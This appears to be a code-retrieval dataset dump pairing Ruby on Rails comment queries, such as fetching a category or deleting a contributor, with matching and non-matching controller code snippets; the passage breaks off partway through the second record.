query_id
stringlengths
32
32
query
stringlengths
7
6.75k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
b7096fcb9279c9582c8450f358e6c3ec
GET /categories/1 GET /categories/1.json
[ { "docid": "ffa6c1bff2c5adbc8412a31652263ca9", "score": "0.7280321", "text": "def show\n @category = Category.find(params[:id])\n render json: @category\n end", "title": "" } ]
[ { "docid": "86e5d5637eeb2a8cc989235e83e67c7b", "score": "0.8207107", "text": "def get\n payload = {}\n @client.post('categories/get', payload)\n end", "title": "" }, { "docid": "efcb5e10780279c84a4be599091f0268", "score": "0.8070091", "text": "def categories\n call_api('/categories')\n end", "title": "" }, { "docid": "3cba43678b445865af5afd71d9719de9", "score": "0.79585034", "text": "def get_categories()\n response = RestClient.get @host + \"/categories\", { :accept => :json }\n return JSON.parse(response.body)\n end", "title": "" }, { "docid": "bd7f457291ea26e7a11c69e4c64b3fd9", "score": "0.783501", "text": "def fetch_categories\n xml = \"Request categories.\"\n respond_with_raw get(\"#{BASE_URL}/v1/categories?api_key=#{API_KEY}&format=json\", :body => xml)\n end", "title": "" }, { "docid": "75b0c3968f94ad3a931e4d885f169f68", "score": "0.7714519", "text": "def get_category\n category = Category.find(params[:category_id])\n json_response(category)\n end", "title": "" }, { "docid": "2bd85a4101ce25ff3b275a1b7e24ce0f", "score": "0.76406795", "text": "def index\n @categories = @user.categories\n json_response(@categories)\n end", "title": "" }, { "docid": "860c8e967f683fb7023e8999c5b5c138", "score": "0.76226866", "text": "def category(id)\n connection.get(\"/categories/#{id}\").body\n end", "title": "" }, { "docid": "860c8e967f683fb7023e8999c5b5c138", "score": "0.76226866", "text": "def category(id)\n connection.get(\"/categories/#{id}\").body\n end", "title": "" }, { "docid": "c794e2b53005975ecd30bf9e84242e82", "score": "0.7587444", "text": "def getAllCategories\n render json: Category.all\n end", "title": "" }, { "docid": "6d2573a7dd7e66c6b090cb93914bf727", "score": "0.75817215", "text": "def categories!\n mashup(self.class.get(\"/\", :query => method_params('aj.categories.getList'))).categories.category\n end", "title": "" }, { "docid": "6f5b1199df94a0f382a0f5270eb32454", "score": "0.7576843", "text": "def fetch_categories\r\n c_url = BASE_URL + \"categories/list?\" + \"app_key=\" + API_KEY\r\n\r\n uri = URI.parse(c_url)\r\n body = uri.read\r\n resp = Net::HTTP.get_response(uri)\r\n data = JSON.parse(resp.body)\r\n\r\n categories = data[\"category\"]\r\n # binding.pry\r\n categories.each do |c|\r\n Category.new(c[\"name\"])\r\n end\r\n end", "title": "" }, { "docid": "32b1db3e964dac3ebcbc6e02623e281c", "score": "0.7536466", "text": "def index\n @categories = Category.all\n render json: @categories\n end", "title": "" }, { "docid": "bf41d6ac953a9480c0497e15ac3cea6c", "score": "0.7482509", "text": "def index\n @categories = Category.all\n\n render json: @categories\n end", "title": "" }, { "docid": "4dd21f7b547ec616490a8dee6302b929", "score": "0.74207157", "text": "def index\n @categories = Category.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "ae939484b2c3a1f4b3216a4613476d97", "score": "0.74083245", "text": "def index\n categories = Category.all\n render json:categories\n end", "title": "" }, { "docid": "8e1abd1795c29bc436d5ced01a91a98d", "score": "0.7400057", "text": "def get_appcon_categories \n get(\"/appcon.json/categories\")\nend", "title": "" }, { "docid": "a9dc2553b0d887511d5aee6cb3e00d65", "score": "0.7386457", "text": "def index\n\t\tcategories = Category.all\n\t\trender json: categories\n\tend", "title": "" }, { "docid": "54abba7794081a9a1e9e7f789c334de3", "score": "0.734406", "text": "def category(id)\n if id.is_a? Array\n categories(id)\n else\n make_request('/categories/get', {:id => id})\n end\n end", "title": "" }, { "docid": "6c85d4e66ba7c4368b00d86daaa70d5d", "score": "0.73388606", "text": "def index\n # check main category\n if params[:cat]\n # show categories\n category = Category.find_by_id(params[:cat])\n if !category.nil?\n @categories = category.children\n else\n flash[:error] = t(:category_not_found)\n @categories = nil\n end\n else\n # show all categories\n @categories = Category.subcategory\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "f8a2f1aa35b94de433b5fcf5907d8c9a", "score": "0.7335843", "text": "def index\n @api_v1_categories = Api::V1::Category.all\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "79833803e9ec25fdf3752444bbb1420f", "score": "0.7306919", "text": "def index\n @categories = Category.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @categories }\n end\n end", "title": "" }, { "docid": "c8bfe1c42de8c52b93aa5304ee13e94b", "score": "0.72910845", "text": "def index\n @categories = Category.all\n render 'api/v1/categories/index'\n end", "title": "" }, { "docid": "ae14ca7e94e1ca2d08ea8acd3ba3fe2a", "score": "0.72874504", "text": "def show\n @categories = Catergory.all; \n # render json: @categories\n render json: {status: 'SUCCESS', message: 'Retrieving All Categories', data: categories}, status: :ok\n end", "title": "" }, { "docid": "1945f36528d833e24d02acb7c3d412f0", "score": "0.72580785", "text": "def get_appcon_categories \n get(\"/appcon.json/categories\")\n end", "title": "" }, { "docid": "a3ba4406a807764976d8c6c10b83e338", "score": "0.7242741", "text": "def categories\n connection.get(\"/categories\").body.spot_categories\n end", "title": "" }, { "docid": "a3ba4406a807764976d8c6c10b83e338", "score": "0.7242741", "text": "def categories\n connection.get(\"/categories\").body.spot_categories\n end", "title": "" }, { "docid": "6d6cce29fae6cf7022ecb7a2207ad77a", "score": "0.72036", "text": "def get_categories\r\n # the base uri for api requests\r\n query_builder = Configuration::BASE_URI.dup % [@version]\r\n\r\n # prepare query string for API call\r\n query_builder << \"/categories\"\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"APIMATIC 2.0\",\r\n \"accept\" => \"application/json\",\r\n \"X-Api-Key\" => @x_api_key\r\n }\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.get query_url, headers:headers\r\n\r\n #Error handling using HTTP status codes\r\n if !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n end\r\n\r\n response.body\r\n end", "title": "" }, { "docid": "688742929ff588991933a9af6a14147f", "score": "0.7187531", "text": "def show\n @category = Category.find(params[:id])\n render 'api/v1/categories/show'\n end", "title": "" }, { "docid": "b107502871062c95f84bb8d4a75a7ceb", "score": "0.71817976", "text": "def index\n categories = Category.all\n render json: {status: 'SUCCESS', message: 'Loaded Categories', data: categories},status: :ok\n end", "title": "" }, { "docid": "f477230c33075803bfb6dd600eb6cf1b", "score": "0.71786684", "text": "def categorize\n out = {}.to_json\n if params[:url]\n # uri_enc_url = Rack::Utils.escape(params[:url])\n endpoint = \"http://access.alchemyapi.com/calls/url/URLGetCategory\"\n q = \"#{endpoint}?apikey=#{ENV[\"ALCHEMY_KEY\"]}&url=#{params[:url]}&outputMode=json\"\n out = RestClient.get(q)\n end\n respond_to do |format|\n format.html\n format.json { render :json => out.body }\n end\n end", "title": "" }, { "docid": "301a0d49fe1b6096d117c14c1eb6d9a2", "score": "0.7168134", "text": "def all_categories\n categories = Classification.categories.sort_by(&:description)\n render :json => {\n :categories => categories.map do |category|\n {:id => category.id, :name => category.name, :description => category.description}\n end\n }\n end", "title": "" }, { "docid": "c53346177c668af4cc027667d049aa4d", "score": "0.7163591", "text": "def get_category_list\n begin\n render :status=>200,\n :json=>{:Message=>\"Successfully fetched the categories.\",\n :Response => \"Success\",\n :Data => {:Categories => Category.all.order(\"category_id DESC\")}}\n rescue Exception => e\n render :status=>401,\n :json=>{:Message=>\"Error while fetching categories.\",\n :Response => \"Fail\",\n :Data => e.message}\n end\n end", "title": "" }, { "docid": "2b25f185919283b535c312fdf9b2f870", "score": "0.7158562", "text": "def show\n render json: @category\n end", "title": "" }, { "docid": "fa0473550415885bba9c54bd68eb00a6", "score": "0.7158298", "text": "def show\n render json: @category\n end", "title": "" }, { "docid": "a179b1bc3cef7a8e96420ce8547e1808", "score": "0.71380603", "text": "def get_categories(format = nil)\n ext = format.nil? ? @format : format\n rest_url=\"#{@api}.#{ext}\"\n @categories = RestClient.get rest_url\n end", "title": "" }, { "docid": "6597781dc6165b866043f101abb1377b", "score": "0.71103317", "text": "def getCategories\n\t\t@categories = Category.all\n\t\t@ilist = @categories.map do |i| {\n\t\t\t:id => i.id,\n\t\t\t:name => i.name\n\t\t}\n\t\tend\n\t\trespond_to do |format|\n\t\tformat.json { render :json => @ilist.to_json }\n\t\tformat.html { render :json => @ilist.to_json }\n\t\tend\n\tend", "title": "" }, { "docid": "25081f297e54bd1a294191c76b17b162", "score": "0.71038055", "text": "def get_charity_categories\n get(\"charity/categories\")\n end", "title": "" }, { "docid": "ce1428c71cd866b370d5fe139c430ddd", "score": "0.70659566", "text": "def get_category id\n\t\t\t\t\tFreshdesk::Api::Client.convert_to_hash( @connection.get CATEGORIES, id )\n\t\t\t\tend", "title": "" }, { "docid": "a6b42c15f329d589383aa9be14f08155", "score": "0.7041047", "text": "def show\n category = Category.find(params[:id])\n render json: {status: 'SUCCESS', message: 'Loaded category', data:category},status: :ok\n end", "title": "" }, { "docid": "db0aa137ed10872f87cae67e49d4267d", "score": "0.703986", "text": "def show\n @categories_d = CategoriesD.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categories_d }\n end\n end", "title": "" }, { "docid": "ec14212d07b2c606100f56c1b708c14e", "score": "0.70324004", "text": "def categories\n get('venues/categories').categories\n end", "title": "" }, { "docid": "432e613d8cb521fa67985f803d3bbb51", "score": "0.70261306", "text": "def index\n @categories = Category.all\n render status: :ok\n end", "title": "" }, { "docid": "10236746ce328c38e4657c582d493303", "score": "0.7024827", "text": "def index\n \n id = SecureRandom.uuid.to_s\n\n category_info = {:id => id, :type => \"index\" }\n\n publish :category, JSON.generate(category_info) \n\n @categories = get_categories(id) \n end", "title": "" }, { "docid": "c1ca2ee6786892ffebbd616fa9bc0827", "score": "0.70208746", "text": "def category(category, options={})\n get \"categories/#{category}\", options\n end", "title": "" }, { "docid": "ac0ce61f12a56d4bdfc148d2d014216e", "score": "0.7017625", "text": "def find(id)\n new JSON.parse(connection.get(\"/categories/#{id}\").body)\n end", "title": "" }, { "docid": "3daa3c9091d83cac3b53a2ca20088498", "score": "0.69909054", "text": "def categories(params={})\r\n url = api_url \"/categories\"\r\n req = request_params({currency: @currency, locale: @locale}.merge(params))\r\n \r\n feed_or_retry do\r\n RestClient.get url, req\r\n end \r\n end", "title": "" }, { "docid": "5658d2095b610d0e80f54e1d8442d1ef", "score": "0.69705", "text": "def get_categories\n @categories = Category.all\n end", "title": "" }, { "docid": "81a9734fde733de262768cefb5a4272a", "score": "0.69604886", "text": "def index\n @categories = Category.all\n response = @categories.map{|category| get_category_hash(category)}\n render json: response\n end", "title": "" }, { "docid": "01f2fc5f3299a36a5f51ccba2ca4d1f8", "score": "0.69559145", "text": "def index\n @categories = Categories.all\n end", "title": "" }, { "docid": "de5570a928baba16eba0a2b3c3efa7d7", "score": "0.6947632", "text": "def show\n @home_categories_category = Home::Categories::Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_categories_category }\n end\n end", "title": "" }, { "docid": "09318f1fc90ea24f35bab0009d617b70", "score": "0.69457775", "text": "def show\n @data = @category.read(params[:id])\n render json: @data\n end", "title": "" }, { "docid": "a2117bccf71ba2767afb6063f296125c", "score": "0.6926099", "text": "def show\n @categories = Category.where(category_id: params[:id])\n respond_to do |format|\n format.json { render :json => @categories }\n end\n #@category = Category.find(params[:id])\n\n #respond_to do |format|\n # format.json { render :json => @category }\n # format.html # index.html.erb\n #end\n end", "title": "" }, { "docid": "628c3cf2424d363b8902aa77e904fbcb", "score": "0.6915692", "text": "def index\n @categories = Category.select('id, name, parent_id, ancestry').page params[:page]\n respond_with @categories\n end", "title": "" }, { "docid": "d27fac925bd00200387ebd1e033e99d8", "score": "0.69115853", "text": "def index\n @categories = Category.find(:all)\n end", "title": "" }, { "docid": "3e4b982ba113c899cc72fb766d0930c1", "score": "0.69078135", "text": "def show\n @categorization = Categorization.find(params[:id])\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @categorization }\n end\n end", "title": "" }, { "docid": "e65e9d20a145d387572cca4a3bc9f671", "score": "0.690311", "text": "def list\n @categories = Category.find(:all)\n end", "title": "" }, { "docid": "7091c3b6bb20c6059e76f6d862615933", "score": "0.6901272", "text": "def index\n @accessory_categories = AccessoryCategory.all\n\n render json: @accessory_categories\n end", "title": "" }, { "docid": "c31f957cc3a0ed9ef3631674b4102258", "score": "0.6894595", "text": "def category\n # Whats the last category we are asking for? (the rest don't matter I don't think..)\n requested_category = params[:category].split(\"/\").last\n category = Taxonomy.find_by_seo_url requested_category\n\n if category.present?\n @contents = ContentDecorator.decorate(get_contents category.contents, { :state => :published, :is_indexable => true, :is_sticky => false, :password => nil })\n\n respond_to do |format|\n format.html { render :template => 'default/index' }\n format.json { render json: @contents }\n end\n else\n # No such category found, redirect to root index\n redirect_to root_path\n end\n end", "title": "" }, { "docid": "778a1306eaf3da4396af3fd15aade974", "score": "0.6891313", "text": "def index\n # authorize\n authorize! :read, Category\n \n respond_to do |format|\n format.html { \n @categories = Category.get_categories #.paginate(:page => params[:page], :per_page => 10)\n }\n format.json { render json: Category.get_tree_json(current_user) }\n end\n \n end", "title": "" }, { "docid": "841fe0e299904ffd5adcc242b5a89afb", "score": "0.6884248", "text": "def categories\n @categories = Category.all\n end", "title": "" }, { "docid": "841fe0e299904ffd5adcc242b5a89afb", "score": "0.6884248", "text": "def categories\n @categories = Category.all\n end", "title": "" }, { "docid": "5db388d0aa7eae39c0e218394497454d", "score": "0.6883978", "text": "def category(id)\n query = URI.encode_www_form(id: id)\n response = JSON.parse(open(base_url + 'category/?' + query).read)\n Category.new(response)\n end", "title": "" }, { "docid": "6664ee0f0c5746c346bf14852052f373", "score": "0.68677896", "text": "def show\n @category = ::Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "e177713bfe079193c25578835867af1e", "score": "0.68657273", "text": "def index\n @cats = Cat.where(user_id: @user.id)\n\n render json: @cats\n end", "title": "" }, { "docid": "36cfcc0cffc0b23294bd0a863fe0d8a2", "score": "0.68629044", "text": "def categories\n Category.all\n end", "title": "" }, { "docid": "84649a383b14bd82b3059e546f3e2e4d", "score": "0.68506587", "text": "def show\n @categorization = Categorization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categorization }\n end\n end", "title": "" }, { "docid": "4258a31107d40b02ec6757e79fe095bf", "score": "0.68489933", "text": "def v1_categories_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.v1_categories_get ...\"\n end\n # resource path\n local_var_path = \"/v1/categories\"\n\n # query parameters\n query_params = {}\n query_params[:'field'] = @api_client.build_collection_param(opts[:'field'], :multi) if !opts[:'field'].nil?\n query_params[:'filter'] = @api_client.build_collection_param(opts[:'filter'], :multi) if !opts[:'filter'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<Category>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#v1_categories_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "61b2b84d7c0e55d4c1055d5ad031f39b", "score": "0.6844289", "text": "def show\n @categorize = Categorize.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @categorize }\n end\n end", "title": "" }, { "docid": "616b698d62698b3f111c81326615c5fc", "score": "0.68379676", "text": "def show\n \n @category = Category.find_by_id_and_locale(params[:id], I18n.locale)\n\n add_breadcrumb \"cats home\", categories_path\n add_breadcrumb \"cat view\", category_path(@category.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6837719", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6836449", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "574a6c1d189ba41daf75a63d3268e2b1", "score": "0.6836256", "text": "def index\n @category1s = Category1.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @category1s }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "3d258c8ccc6fd867ab478deb9733ddd7", "score": "0.6835847", "text": "def show\n @category = Category.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category }\n end\n end", "title": "" }, { "docid": "300b8dc3d92cb6cc7d6d9cf809dd7b1e", "score": "0.6835682", "text": "def show\n category = Category.find(params[:id])\n render json: category, serializer: Categories::ShowSerializer\n end", "title": "" }, { "docid": "a280a093ef98e314acc2c79346bfb159", "score": "0.6829396", "text": "def index\n categories\n end", "title": "" }, { "docid": "8a7a2ddf609742bc353bb4bfd35db186", "score": "0.6825538", "text": "def get_categories()\n\t\t\tzomoato_categories_url = @base_uri + \"categories\"\n\t\t\tresponse = HTTParty.get(zomoato_categories_url, headers: @headers)\n\t\t\tif response.success?\n\t\t\t\t@categories = response.parsed_response\n\t\t\telse\n\t\t\t\traise response.response\n\t\t\tend\n\t\t\treturn @categories\n\t\tend", "title": "" }, { "docid": "b89d0aa487d54191f52ea4093dbd5f7b", "score": "0.68219644", "text": "def category_information\n category = Classification.find_by(:id => params[:id])\n render :json => {\n :category => category,\n :entries => category.entries.sort_by(&:name).map do |entry|\n {:id => entry.id, :name => entry.name, :description => entry.description}\n end\n }\n end", "title": "" }, { "docid": "5afde6315e463695e22404528ddac2e0", "score": "0.6821563", "text": "def index\n\t\t\t\trespond_with Category.all\n\t\t\tend", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" }, { "docid": "dc85329eb0b9e99af6118cb9a6b02a5d", "score": "0.68190384", "text": "def index\n @categories = Category.all\n end", "title": "" } ]
8a617d414d2d5a7f21e8b164d35853da
currently this is hard wired into the app, only one contributor per record no need for 1:n delete, but leaving the code in if we make this change later def delete_contributor contributor = Contributor.find(params[:contributor_id])
[ { "docid": "ceb1e76b52069e9074d3c6fe496a6c6a", "score": "0.0", "text": "def delete_description\n description = Description.find(params[:description_id])\n @record = description.record\n description.delete\n redirect_to :action => \"record\", :id=> @record.id, :anchor => \"description\"\n end", "title": "" } ]
[ { "docid": "112123c8362a6a07a64ad3b8912b7b64", "score": "0.8030044", "text": "def destroy\n authorize! @contributor\n\n @contributor.destroy\n\n redirect_to :back, notice: 'Contributor removed.'\n end", "title": "" }, { "docid": "dd4a358c5606da98b5c11c94e820a90b", "score": "0.79564595", "text": "def destroy\n authorize! @contributor\n\n @contributor.destroy\n\n flash[:notice] = t('contributor.removed')\n\n redirect_back(fallback_location: root_path)\n end", "title": "" }, { "docid": "e0a141c6dd05b94a37a88c729402a724", "score": "0.7937318", "text": "def destroy\n @contributor = Contributor.find(params[:id])\n @contributor.destroy\n\n respond_to do |format|\n format.html { redirect_to contributors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4b4512dff25d0895cc4dd6a2f812b2fd", "score": "0.78836", "text": "def destroy_contributor(project_id, contributor_id)\n c_r Lokalise::Resources::Contributor, :destroy, [project_id, contributor_id]\n end", "title": "" }, { "docid": "b1a80c2b00f74fbf3f01589629d80748", "score": "0.7782814", "text": "def destroy\n @contributor_name = ContributorName.find(params[:id])\n @contributor_name.destroy\n\n respond_to do |format|\n format.html { redirect_to contributor_names_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d141c1318eb946e34b813e2728eeb3fd", "score": "0.77805734", "text": "def destroy_contributor(project_id, contributor_id)\n params = { query: [project_id, contributor_id] }\n\n data = endpoint(name: 'Contributors', params: params).do_delete\n\n RubyLokaliseApi::Generics::DeletedResource.new data.content\n end", "title": "" }, { "docid": "623c1a1f07dd968511cc65dde10de1e7", "score": "0.7570192", "text": "def destroy\n @unvalidated_contributor = UnvalidatedContributor.find(params[:id])\n @unvalidated_contributor.destroy\n \n respond_to do |format|\n format.html { redirect_to(Project.find_by_name(params[:project_id])) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "6ae4abc93e27bbebe2cce107a6902763", "score": "0.7495979", "text": "def destroy\n @contributor.destroy\n respond_to do |format|\n format.html { redirect_to contributors_url, notice: 'Le chanteur a été effacé avec succès.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ace165aaa6e28736dd578c51eedf200a", "score": "0.732413", "text": "def destroy\n @data_source_contributor = DataSourceContributor.find(params[:id])\n @data_source_contributor.destroy\n\n respond_to do |format|\n format.html { redirect_to(data_source_contributors_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "f71e35f0d8a7b5b0a0c5e688cb476e77", "score": "0.71755075", "text": "def destroy_contributor\n @person = Fragment::Person.find(params[:contributor_id])\n contributors_list = @person.contributors\n query_id = params[:query_id]\n dmp_id = @person.dmp_id\n property_name = @person.additional_info['property_name']\n\n authorize @person.becomes(MadmpFragment)\n return unless @person.destroy\n\n # for each contributor associated to the destroyed Person fragment\n # checks if the contributor is a single (ex PrincipalInvestigator)\n # or multiple contributor (ex: DataCollector)\n contributors_list.each do |c|\n if c.additional_info['is_multiple_contributor'].present?\n c.destroy\n else\n c.update(data: c.data.merge({ 'person' => nil }))\n end\n end\n\n render json: {\n 'fragment_id' => nil,\n 'query_id' => query_id,\n 'html' => render_fragment_list(\n dmp_id, nil, @person.madmp_schema_id,\n property_name, params[:template_locale], query_id:\n )\n }\n end", "title": "" }, { "docid": "e8590188af9e9c45656fc2ca32c04dd4", "score": "0.71323144", "text": "def remove_contributor(person)\n contributor_relations.each do |rel|\n contributor_relations.delete(rel) if rel.person == person\n end\n end", "title": "" }, { "docid": "6395cb5388c9eab749a3f4de8b8d5fb2", "score": "0.7099967", "text": "def delete\n contributor = AssignmentParticipant.find(params[:id])\n name = contributor.name\n assignment_id = contributor.assignment\n begin\n contributor.destroy\n flash[:note] = \"\\\"#{name}\\\" is no longer a participant in this assignment.\"\n rescue StandardError\n flash[:error] = \"\\\"#{name}\\\" was not removed from this assignment. Please ensure that \\\"#{name}\\\" is not a reviewer or metareviewer and try again.\"\n end\n redirect_to controller: 'review_mapping', action: 'list_mappings', id: assignment_id\n end", "title": "" }, { "docid": "0d3e6ef20db75c9b88f4dba59b40a2ce", "score": "0.7058445", "text": "def destroy\n @contributor_submission.destroy\n respond_to do |format|\n format.html { redirect_to contributor_submissions_url, notice: 'Contributor submission was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ae8b2b20e7dbc3ebf419ceb8ee07480", "score": "0.7008593", "text": "def destroy\n @recording_contributor.destroy\n respond_to do |format|\n format.html { redirect_to recording_contributors_url, notice: 'Recording contributor was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "95d9821d2e185fd18d39be39fc4fdbcb", "score": "0.6886798", "text": "def destroy\n @prov_contributor_profiles = ProvContributorProfiles.find(params[:id])\n @prov_contributor_profiles.destroy\n\n respond_to do |format|\n format.html { redirect_to prov_contributor_profiles_url }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e8e2745aa9842fb705981b7ca6e377e8", "score": "0.67704546", "text": "def destroy\n\n @contribution = Contribution.find_by(id: params[:id])\n if current_user.owns_contribution?(@contribution)\n @contribution.comments.destroy\n @contribution.votes.destroy\n @contribution.destroy\n redirect_back(fallback_location: root_path, notice: \"Contribution successful deleted\")\n\n else\n redirect_back(fallback_location: root_path, notice: \"Not authorized to edit this contribution\")\n end\n end", "title": "" }, { "docid": "0cc90a0228c4ad59029034da7a8e40e0", "score": "0.6701049", "text": "def destroy\n @contributorship = Contributorship.find(params[:id])\n @contributorship.destroy\n\n respond_to do |format|\n format.html { redirect_to(contributorships_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "e68140010651509e40e698ccd80153d8", "score": "0.6696269", "text": "def destroy\n if is_admin? \n @reviewer = Reviewer.find(params[:id])\n @reviewer.destroy if is_admin?\n else\n flash[:notice] = 'You do not have delete priveleges.'\n end\n respond_to do |format|\n format.html { redirect_to(project_reviewers_url(current_program)) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "1eb9761d2d02206ebbdded4941fbccc7", "score": "0.665853", "text": "def remove_contributor(name)\n\t\treturn Rubbit_Poster.instance.unfriend('contributor',name,@display_name)\n\tend", "title": "" }, { "docid": "3509bac0eb71cde20153ec614512ba9e", "score": "0.6468423", "text": "def destroy\n @contribution = Contribution.find(params[:id])\n @contributable = @contribution.contributable\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to @contributable }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "e26299d06511ea5f9717fc0bb35630b3", "score": "0.6417295", "text": "def destroy\n @contributo = Contributo.find(params[:id])\n @contributo.destroy\n\n respond_to do |format|\n format.html { redirect_to contributi_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d7d69bf05686c958e1adf52d8700b41b", "score": "0.6381114", "text": "def set_contributor\n # @contributor = Contributor.find(params[:id])\n end", "title": "" }, { "docid": "32b2ba3a16a96956041a279286252740", "score": "0.63669896", "text": "def destroy\n @contribution = Contribution.find(params[:id])\n @contribution.destroy\n\n respond_to do |format|\n format.html { redirect_to contributions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": 